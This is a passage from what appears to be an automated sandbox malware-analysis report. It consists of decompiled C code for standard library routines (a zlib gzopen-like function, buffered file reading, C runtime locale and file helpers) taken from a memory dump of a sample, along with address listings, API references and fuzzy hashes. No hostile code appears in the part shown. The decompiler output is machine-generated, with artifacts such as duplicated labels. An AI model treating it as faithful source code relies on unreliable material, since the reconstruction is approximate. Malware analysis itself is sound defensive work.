						 *((intOrPtr*)(_t93 + 4)) = 0;
						 *((intOrPtr*)(_t93 + 0x40)) = 0;
						 *((intOrPtr*)(_t93 + 0x38)) = 0;
						 *((intOrPtr*)(_t93 + 0x3c)) = 0;
						 *((intOrPtr*)(_t93 + 0x64)) = 0;
						 *((intOrPtr*)(_t93 + 0x68)) = 0;
						 *(_t93 + 0x6c) = _t98;
						 *((intOrPtr*)(_t93 + 0x4c)) = E00403080(0, 0, 0);
						_t57 =  *((intOrPtr*)(_t101 + 0x78));
						_t102 = _t101 + 0xc;
						 *((intOrPtr*)(_t93 + 0x50)) = 0;
						 *((intOrPtr*)(_t93 + 0x58)) = 0;
						_t87 = _t57 + 1;
						do {
							_t82 =  *_t57;
							_t57 = _t57 + 1;
						} while (_t82 != 0);
						_t60 = E0040B84D(0, _t87, _t91, _t57 - _t87 + 1);
						_t103 = _t102 + 4;
						 *((intOrPtr*)(_t93 + 0x54)) = _t60;
						if(_t60 == 0) {
							L30:
							E00405160(0, _t87, _t93);
							goto L31;
						} else {
							_t83 =  *((intOrPtr*)(_t103 + 0x6c));
							_t88 = _t60;
							goto L7;
							L9:
							L9:
							if( *_t91 == 0x72) {
								 *((char*)(_t93 + 0x5c)) = 0x72;
							}
							_t63 =  *_t91;
							if(_t63 == 0x77 || _t63 == 0x61) {
								 *((char*)(_t93 + 0x5c)) = 0x77;
							}
							_t64 =  *_t91;
							if(_t64 < 0x30 || _t64 > 0x39) {
								__eflags = _t64 - 0x66;
								if(_t64 != 0x66) {
									__eflags = _t64 - 0x68;
									if(_t64 != 0x68) {
										__eflags = _t64 - 0x52;
										if(_t64 != 0x52) {
											_t89 =  *((intOrPtr*)(_t103 + 0x14));
											 *_t89 = _t64;
											_t87 = _t89 + 1;
											__eflags = _t87;
											 *((intOrPtr*)(_t103 + 0x14)) = _t87;
										} else {
											 *((intOrPtr*)(_t103 + 0x10)) = 3;
										}
									} else {
										 *((intOrPtr*)(_t103 + 0x10)) = 2;
									}
								} else {
									 *((intOrPtr*)(_t103 + 0x10)) = 1;
								}
							} else {
								_t98 = _t64 - 0x30;
							}
							_t91 = _t91 + 1;
							if(_t64 == 0) {
								goto L26;
							}
							_t87 = _t103 + 0x68;
							if( *((intOrPtr*)(_t103 + 0x14)) != _t103 + 0x68) {
								goto L9;
							}
							L26:
							_t65 =  *((intOrPtr*)(_t93 + 0x5c));
							if(_t65 == 0) {
								goto L30;
							} else {
								if(_t65 != 0x77) {
									_t66 = E0040B84D(0, _t87, _t91, 0x4000);
									 *((intOrPtr*)(_t93 + 0x44)) = _t66;
									 *_t93 = _t66;
									_t67 = E004071A0(_t93, 0xfffffff1, "1.2.3", 0x38);
									_t104 = _t103 + 0x14;
									__eflags = _t67;
									if(_t67 != 0) {
										goto L30;
									} else {
										__eflags =  *((intOrPtr*)(_t93 + 0x44));
										if(__eflags == 0) {
											goto L30;
										} else {
											goto L34;
										}
									}
								} else {
									_push(0x38);
									_push("1.2.3");
									_push( *((intOrPtr*)(_t103 + 0x10)));
									_push(8);
									_push(0xfffffff1);
									_push(8);
									_push(_t98);
									_push(_t93);
									_t91 = E00404CE0();
									_t79 = E0040B84D(0, _t87, _t91, 0x4000);
									_t104 = _t103 + 0x24;
									 *((intOrPtr*)(_t93 + 0x48)) = _t79;
									 *((intOrPtr*)(_t93 + 0xc)) = _t79;
									if(_t91 != 0 || _t79 == 0) {
										goto L30;
									} else {
										L34:
										 *((intOrPtr*)(_t93 + 0x10)) = 0x4000;
										 *((intOrPtr*)(E0040BFC1(__eflags))) = 0;
										_t69 =  *((intOrPtr*)(_t104 + 0x70));
										__eflags = _t69;
										_push(_t104 + 0x18);
										if(__eflags >= 0) {
											_push(_t69);
											_t70 = E0040C953(0, _t87, _t91, _t93, __eflags);
										} else {
											_t87 =  *((intOrPtr*)(_t104 + 0x70));
											_push( *((intOrPtr*)(_t104 + 0x70)));
											_t70 = E0040CB9D();
										}
										 *((intOrPtr*)(_t93 + 0x40)) = _t70;
										__eflags = _t70;
										if(_t70 == 0) {
											goto L30;
										} else {
											__eflags =  *((char*)(_t93 + 0x5c)) - 0x77;
											if( *((char*)(_t93 + 0x5c)) != 0x77) {
												E00405000(_t93, 0);
												_push( *((intOrPtr*)(_t93 + 0x40)));
												_t74 = E0040C8E5(0,  *((intOrPtr*)(_t93 + 0x40)), _t91, _t93, __eflags) -  *((intOrPtr*)(_t93 + 4));
												__eflags = _t74;
												 *((intOrPtr*)(_t93 + 0x60)) = _t74;
												return _t93;
											} else {
												 *((intOrPtr*)(_t93 + 0x60)) = 0xa;
												return _t93;
											}
										}
									}
								}
							}
							goto L42;
							L7:
							_t62 =  *_t83;
							 *_t88 = _t62;
							_t83 = _t83 + 1;
							_t88 = _t88 + 1;
							if(_t62 != 0) {
								goto L7;
							} else {
								 *((char*)(_t93 + 0x5c)) = 0;
							}
							goto L9;
						}
					}
				}
				L42:
			}

0x004057b7
0x004057bf
0x004057c3
0x004057c5
0x004057cd
0x004059c8
0x004059ce
0x004057db
0x004057e3
0x004057e5
0x004057ea
0x00405921
0x0040592a
0x004057f0
0x004057f3
0x004057f6
0x004057f9
0x004057fc
0x004057ff
0x00405801
0x00405804
0x00405807
0x0040580a
0x0040580d
0x00405810
0x00405813
0x00405816
0x00405819
0x0040581c
0x00405824
0x00405827
0x0040582b
0x0040582e
0x00405831
0x00405834
0x00405837
0x00405837
0x00405839
0x0040583a
0x00405842
0x00405847
0x0040584a
0x0040584f
0x0040591c
0x0040591c
0x00000000
0x00405855
0x00405855
0x00405859
0x0040585b
0x00000000
0x00405870
0x00405872
0x00405874
0x00405874
0x00405877
0x0040587b
0x00405881
0x00405881
0x00405885
0x00405889
0x00405897
0x00405899
0x004058a5
0x004058a7
0x004058b3
0x004058b5
0x004058c1
0x004058c5
0x004058c7
0x004058c7
0x004058c8
0x004058b7
0x004058b7
0x004058b7
0x004058a9
0x004058a9
0x004058a9
0x0040589b
0x0040589b
0x0040589b
0x0040588f
0x00405892
0x00405892
0x004058cc
0x004058cf
0x00000000
0x00000000
0x004058d1
0x004058d9
0x00000000
0x00000000
0x004058db
0x004058db
0x004058e0
0x00000000
0x004058e2
0x004058e4
0x00405930
0x0040593f
0x00405942
0x00405944
0x00405949
0x0040594c
0x0040594e
0x00000000
0x00405950
0x00405950
0x00405953
0x00000000
0x00000000
0x00000000
0x00000000
0x00405953
0x004058e6
0x004058ea
0x004058ec
0x004058f1
0x004058f2
0x004058f4
0x004058f6
0x004058f8
0x004058f9
0x00405904
0x00405906
0x0040590b
0x0040590e
0x00405911
0x00405916
0x00000000
0x00405955
0x00405955
0x00405955
0x00405961
0x00405963
0x00405967
0x0040596d
0x0040596e
0x0040597c
0x0040597d
0x00405970
0x00405970
0x00405974
0x00405975
0x00405975
0x00405985
0x00405988
0x0040598a
0x00000000
0x0040598c
0x0040598c
0x00405990
0x004059a5
0x004059ad
0x004059b6
0x004059b6
0x004059b9
0x004059c5
0x00405992
0x00405992
0x004059a2
0x004059a2
0x00405990
0x0040598a
0x00405916
0x004058e4
0x00000000
0x00405860
0x00405860
0x00405862
0x00405864
0x00405865
0x00405868
0x00000000
0x0040586a
0x0040586a
0x0040586d
0x00000000
0x00405868
0x0040584f
0x004057ea
0x00000000

APIs

_malloc.LIBCMT ref: 004057DE

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

_malloc.LIBCMT ref: 00405842
_malloc.LIBCMT ref: 00405906
_malloc.LIBCMT ref: 00405930

Strings

1.2.3, xrefs: 004058EC, 00405937

Memory Dump Source

Source File: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.292171350.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.292171350.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_aPsf.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap
String ID: 1.2.3
API String ID: 680241177-2310465506
Opcode ID: dcd0ffeba55ff02fe10acfaeba0fa9d55be123b2b31187241ea46178cf7d6550
Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
Opcode Fuzzy Hash: dcd0ffeba55ff02fe10acfaeba0fa9d55be123b2b31187241ea46178cf7d6550
Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCC2 Relevance: 10.7, APIs: 7, Instructions: 189
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0040BCC2(signed int __edx, char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				signed int _v8;
				char* _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t90;
				intOrPtr* _t92;
				signed int _t94;
				char _t97;
				signed int _t105;
				void* _t106;
				signed int _t107;
				signed int _t110;
				signed int _t113;
				intOrPtr* _t114;
				signed int _t118;
				signed int _t119;
				signed int _t120;
				char* _t121;
				signed int _t125;
				signed int _t131;
				signed int _t133;
				void* _t134;

				_t125 = __edx;
				_t121 = _a4;
				_t119 = _a8;
				_t131 = 0;
				_v12 = _t121;
				_v8 = _t119;
				if(_a12 == 0 || _a16 == 0) {
					L5:
					return 0;
				} else {
					_t138 = _t121;
					if(_t121 != 0) {
						_t133 = _a20;
						__eflags = _t133;
						if(_t133 == 0) {
							L9:
							__eflags = _t119 - 0xffffffff;
							if(_t119 != 0xffffffff) {
								_t90 = E0040BA30(_t131, _t121, _t131, _t119);
								_t134 = _t134 + 0xc;
							}
							__eflags = _t133 - _t131;
							if(__eflags == 0) {
								goto L3;
							} else {
								_t94 = _t90 | 0xffffffff;
								_t125 = _t94 % _a12;
								__eflags = _a16 - _t94 / _a12;
								if(__eflags > 0) {
									goto L3;
								}
								L13:
								_t131 = _a12 * _a16;
								__eflags =  *(_t133 + 0xc) & 0x0000010c;
								_v20 = _t131;
								_t120 = _t131;
								if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
									_v16 = 0x1000;
								} else {
									_v16 =  *((intOrPtr*)(_t133 + 0x18));
								}
								__eflags = _t131;
								if(_t131 == 0) {
									L40:
									return _a16;
								} else {
									do {
										__eflags =  *(_t133 + 0xc) & 0x0000010c;
										if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
											L24:
											__eflags = _t120 - _v16;
											if(_t120 < _v16) {
												_t97 = E0040FC07(_t120, _t125, _t133);
												__eflags = _t97 - 0xffffffff;
												if(_t97 == 0xffffffff) {
													L48:
													return (_t131 - _t120) / _a12;
												}
												__eflags = _v8;
												if(_v8 == 0) {
													L44:
													__eflags = _a8 - 0xffffffff;
													if(__eflags != 0) {
														E0040BA30(_t131, _a4, 0, _a8);
														_t134 = _t134 + 0xc;
													}
													 *((intOrPtr*)(E0040BFC1(__eflags))) = 0x22;
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													L4:
													E0040E744(_t125, _t131, _t133);
													goto L5;
												}
												_t123 = _v12;
												_v12 = _v12 + 1;
												 *_v12 = _t97;
												_t120 = _t120 - 1;
												_t70 =  &_v8;
												 *_t70 = _v8 - 1;
												__eflags =  *_t70;
												_v16 =  *((intOrPtr*)(_t133 + 0x18));
												goto L39;
											}
											__eflags = _v16;
											if(_v16 == 0) {
												_t105 = 0x7fffffff;
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t105 = _t120;
												}
											} else {
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t55 = _t120 % _v16;
													__eflags = _t55;
													_t125 = _t55;
													_t110 = _t120;
												} else {
													_t125 = 0x7fffffff % _v16;
													_t110 = 0x7fffffff;
												}
												_t105 = _t110 - _t125;
											}
											__eflags = _t105 - _v8;
											if(_t105 > _v8) {
												goto L44;
											} else {
												_push(_t105);
												_push(_v12);
												_t106 = E0040FA20(_t125, _t131, _t133);
												_pop(_t123);
												_push(_t106);
												_t107 = E004102F4(_t120, _t125, _t131, _t133, __eflags);
												_t134 = _t134 + 0xc;
												__eflags = _t107;
												if(_t107 == 0) {
													 *(_t133 + 0xc) =  *(_t133 + 0xc) | 0x00000010;
													goto L48;
												}
												__eflags = _t107 - 0xffffffff;
												if(_t107 == 0xffffffff) {
													L47:
													_t80 = _t133 + 0xc;
													 *_t80 =  *(_t133 + 0xc) | 0x00000020;
													__eflags =  *_t80;
													goto L48;
												}
												_v12 = _v12 + _t107;
												_t120 = _t120 - _t107;
												_v8 = _v8 - _t107;
												goto L39;
											}
										}
										_t113 =  *(_t133 + 4);
										__eflags = _t113;
										if(__eflags == 0) {
											goto L24;
										}
										if(__eflags < 0) {
											goto L47;
										}
										_t131 = _t120;
										__eflags = _t120 - _t113;
										if(_t120 >= _t113) {
											_t131 = _t113;
										}
										__eflags = _t131 - _v8;
										if(_t131 > _v8) {
											_t133 = 0;
											__eflags = _a8 - 0xffffffff;
											if(__eflags != 0) {
												E0040BA30(_t131, _a4, 0, _a8);
												_t134 = _t134 + 0xc;
											}
											_t114 = E0040BFC1(__eflags);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											 *_t114 = 0x22;
											_push(_t133);
											goto L4;
										} else {
											E004103F1(_t120, _t123, _t125, _v12, _v8,  *_t133, _t131);
											 *(_t133 + 4) =  *(_t133 + 4) - _t131;
											 *_t133 =  *_t133 + _t131;
											_v12 = _v12 + _t131;
											_t120 = _t120 - _t131;
											_t134 = _t134 + 0x10;
											_v8 = _v8 - _t131;
											_t131 = _v20;
										}
										L39:
										__eflags = _t120;
									} while (_t120 != 0);
									goto L40;
								}
							}
						}
						_t118 = _t90 | 0xffffffff;
						_t90 = _t118 / _a12;
						_t125 = _t118 % _a12;
						__eflags = _a16 - _t90;
						if(_a16 <= _t90) {
							goto L13;
						}
						goto L9;
					}
					L3:
					_t92 = E0040BFC1(_t138);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					 *_t92 = 0x16;
					_push(_t131);
					goto L4;
				}
			}

0x0040bcc2
0x0040bcca
0x0040bcce
0x0040bcd3
0x0040bcd5
0x0040bcd8
0x0040bcde
0x0040bd01
0x00000000
0x0040bce5
0x0040bce5
0x0040bce7
0x0040bd08
0x0040bd0b
0x0040bd0d
0x0040bd1c
0x0040bd1c
0x0040bd1f
0x0040bd24
0x0040bd29
0x0040bd29
0x0040bd2c
0x0040bd2e
0x00000000
0x0040bd30
0x0040bd30
0x0040bd35
0x0040bd38
0x0040bd3b
0x00000000
0x00000000
0x0040bd3d
0x0040bd40
0x0040bd44
0x0040bd4b
0x0040bd4e
0x0040bd50
0x0040bd5a
0x0040bd52
0x0040bd55
0x0040bd55
0x0040bd61
0x0040bd63
0x0040be53
0x00000000
0x0040bd69
0x0040bd69
0x0040bd69
0x0040bd70
0x0040bdb6
0x0040bdb6
0x0040bdb9
0x0040be24
0x0040be2a
0x0040be2d
0x0040beb8
0x00000000
0x0040bebe
0x0040be33
0x0040be37
0x0040be87
0x0040be87
0x0040be8b
0x0040be95
0x0040be9a
0x0040be9a
0x0040bea2
0x0040beaa
0x0040beab
0x0040beac
0x0040bead
0x0040beae
0x0040bcf9
0x0040bcf9
0x00000000
0x0040bcfe
0x0040be39
0x0040be3c
0x0040be3f
0x0040be44
0x0040be45
0x0040be45
0x0040be45
0x0040be48
0x00000000
0x0040be48
0x0040bdbb
0x0040bdbf
0x0040bde0
0x0040bde5
0x0040bde7
0x0040bde9
0x0040bde9
0x0040bdc1
0x0040bdc8
0x0040bdca
0x0040bdd7
0x0040bdd7
0x0040bdd7
0x0040bdda
0x0040bdcc
0x0040bdce
0x0040bdd1
0x0040bdd1
0x0040bddc
0x0040bddc
0x0040bdeb
0x0040bdee
0x00000000
0x0040bdf4
0x0040bdf4
0x0040bdf5
0x0040bdf9
0x0040bdfe
0x0040bdff
0x0040be00
0x0040be05
0x0040be08
0x0040be0a
0x0040bec6
0x00000000
0x0040bec6
0x0040be10
0x0040be13
0x0040beb4
0x0040beb4
0x0040beb4
0x0040beb4
0x00000000
0x0040beb4
0x0040be19
0x0040be1c
0x0040be1e
0x00000000
0x0040be1e
0x0040bdee
0x0040bd72
0x0040bd75
0x0040bd77
0x00000000
0x00000000
0x0040bd79
0x00000000
0x00000000
0x0040bd7f
0x0040bd81
0x0040bd83
0x0040bd85
0x0040bd85
0x0040bd87
0x0040bd8a
0x0040be5b
0x0040be5d
0x0040be61
0x0040be6a
0x0040be6f
0x0040be6f
0x0040be72
0x0040be77
0x0040be78
0x0040be79
0x0040be7a
0x0040be7b
0x0040be81
0x00000000
0x0040bd90
0x0040bd99
0x0040bd9e
0x0040bda1
0x0040bda3
0x0040bda6
0x0040bda8
0x0040bdab
0x0040bdae
0x0040bdae
0x0040be4b
0x0040be4b
0x0040be4b
0x00000000
0x0040bd69
0x0040bd63
0x0040bd2e
0x0040bd0f
0x0040bd14
0x0040bd14
0x0040bd17
0x0040bd1a
0x00000000
0x00000000
0x00000000
0x0040bd1a
0x0040bce9
0x0040bce9
0x0040bcee
0x0040bcef
0x0040bcf0
0x0040bcf1
0x0040bcf2
0x0040bcf8
0x00000000
0x0040bcf8

APIs

_memset.LIBCMT ref: 0040BD24
_memcpy_s.LIBCMT ref: 0040BD99
__fileno.LIBCMT ref: 0040BDF9
__read.LIBCMT ref: 0040BE00
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Memory Dump Source

Source File: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.292171350.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.292171350.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_aPsf.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00414738 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00414738(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x4214d0);
				E0040E1D8(__ebx, __edi, __esi);
				_t28 = E00410735(__ebx, __edx, __edi, _t30);
				_t13 =  *0x422e34; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E0040D6E0(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x422f18; // 0x422e40
					 *((intOrPtr*)(_t29 - 0x1c)) = E004146FA(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E004147A2();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E00410735(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E0040E79A(_t25, _t26, 0x20);
				}
				return E0040E21D(_t28);
			}

0x00414738
0x00414738
0x00414738
0x00414738
0x00414738
0x0041473a
0x0041473f
0x00414749
0x0041474b
0x00414753
0x00414777
0x00414779
0x0041477f
0x00414783
0x00414786
0x00414791
0x00414794
0x0041479b
0x00414755
0x00414755
0x00414759
0x00000000
0x0041475b
0x00414760
0x00414760
0x00414759
0x00414765
0x00414769
0x0041476e
0x00414776

APIs

__getptd.LIBCMT ref: 00414744

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__getptd.LIBCMT ref: 0041475B
__amsg_exit.LIBCMT ref: 00414769
__lock.LIBCMT ref: 00414779

Strings

@.B, xrefs: 00414786

Memory Dump Source

Source File: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.292171350.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.292171350.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_aPsf.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C73D Relevance: 7.6, APIs: 5, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0040C73D(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t16;
				void* _t17;
				intOrPtr _t19;
				void* _t21;
				signed int _t22;
				intOrPtr* _t27;
				intOrPtr _t39;
				intOrPtr _t40;
				intOrPtr _t50;

				_t37 = __edx;
				_push(8);
				_push(0x421140);
				E0040E1D8(__ebx, __edi, __esi);
				_t39 = _a4;
				_t50 = _t39;
				_t51 = _t50 != 0;
				if(_t50 != 0) {
					E0040FB29(_t39);
					_v8 = 0;
					 *(_t39 + 0xc) =  *(_t39 + 0xc) & 0xffffffcf;
					_t16 = E0040FA20(__edx, _t39, _t39);
					__eflags = _t16 - 0xffffffff;
					if(_t16 == 0xffffffff) {
						L6:
						_t17 = 0x4227e0;
					} else {
						_t21 = E0040FA20(__edx, _t39, _t39);
						__eflags = _t21 - 0xfffffffe;
						if(_t21 == 0xfffffffe) {
							goto L6;
						} else {
							_t22 = E0040FA20(__edx, _t39, _t39);
							_t17 = ((E0040FA20(_t37, _t39, _t39) & 0x0000001f) << 6) +  *((intOrPtr*)(0x423f60 + (_t22 >> 5) * 4));
						}
					}
					_t9 = _t17 + 4; // 0xa80
					 *(_t17 + 4) =  *_t9 & 0x000000fd;
					_v8 = 0xfffffffe;
					E0040C735(_t39);
					_t19 = 0;
					__eflags = 0;
				} else {
					_t27 = E0040BFC1(_t51);
					_t40 = 0x16;
					 *_t27 = _t40;
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E0040E744(__edx, _t40, 0);
					_t19 = _t40;
				}
				return E0040E21D(_t19);
			}

0x0040c73d
0x0040c690
0x0040c692
0x0040c697
0x0040c69e
0x0040c6a3
0x0040c6a8
0x0040c6aa
0x0040c6c8
0x0040c6ce
0x0040c6d1
0x0040c6d6
0x0040c6dc
0x0040c6df
0x0040c70f
0x0040c70f
0x0040c6e1
0x0040c6e2
0x0040c6e8
0x0040c6eb
0x00000000
0x0040c6ed
0x0040c6ee
0x0040c70b
0x0040c70b
0x0040c6eb
0x0040c714
0x0040c71b
0x0040c71e
0x0040c725
0x0040c72a
0x0040c72a
0x0040c6ac
0x0040c6ac
0x0040c6b3
0x0040c6b4
0x0040c6b6
0x0040c6b7
0x0040c6b8
0x0040c6b9
0x0040c6ba
0x0040c6bb
0x0040c6c3
0x0040c6c3
0x0040c731

APIs

__lock_file.LIBCMT ref: 0040C6C8
__fileno.LIBCMT ref: 0040C6D6
__fileno.LIBCMT ref: 0040C6E2
__fileno.LIBCMT ref: 0040C6EE
__fileno.LIBCMT ref: 0040C6FE

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.292171350.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.292171350.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_aPsf.jbxd

Yara matches

Similarity

API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
String ID:
API String ID: 2805327698-0
Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D

Uniqueness

Uniqueness Score: -1.00%

Function 00413FCC Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E00413FCC(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x421490);
				E0040E1D8(__ebx, __edi, __esi);
				_t31 = E00410735(__ebx, __edx, __edi, _t35);
				_t15 =  *0x422e34; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E0040D6E0(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x422d38; // 0x871660
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x422910;
								if(__eflags != 0) {
									_push(_t33);
									E0040B6B5(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x422d38; // 0x871660
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x422d38; // 0x871660
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00414067();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E0040E79A(_t29, _t31, 0x20);
				}
				return E0040E21D(_t33);
			}

0x00413fcc
0x00413fcc
0x00413fcc
0x00413fcc
0x00413fce
0x00413fd3
0x00413fdd
0x00413fdf
0x00413fe7
0x00414008
0x0041400e
0x00414012
0x00414015
0x00414018
0x0041401e
0x00414020
0x00414022
0x00414025
0x0041402b
0x0041402d
0x0041402f
0x00414035
0x00414037
0x00414038
0x0041403d
0x00414035
0x0041402d
0x0041403e
0x00414043
0x00414046
0x0041404c
0x00414050
0x00414050
0x00414056
0x0041405d
0x00413fef
0x00413fef
0x00413fef
0x00413ff4
0x00413ff8
0x00413ffd
0x00414005

APIs

__getptd.LIBCMT ref: 00413FD8

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__amsg_exit.LIBCMT ref: 00413FF8
__lock.LIBCMT ref: 00414008
InterlockedDecrement.KERNEL32(?), ref: 00414025
InterlockedIncrement.KERNEL32(00871660), ref: 00414050

Memory Dump Source

Source File: 00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.292171350.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.292171350.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_aPsf.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
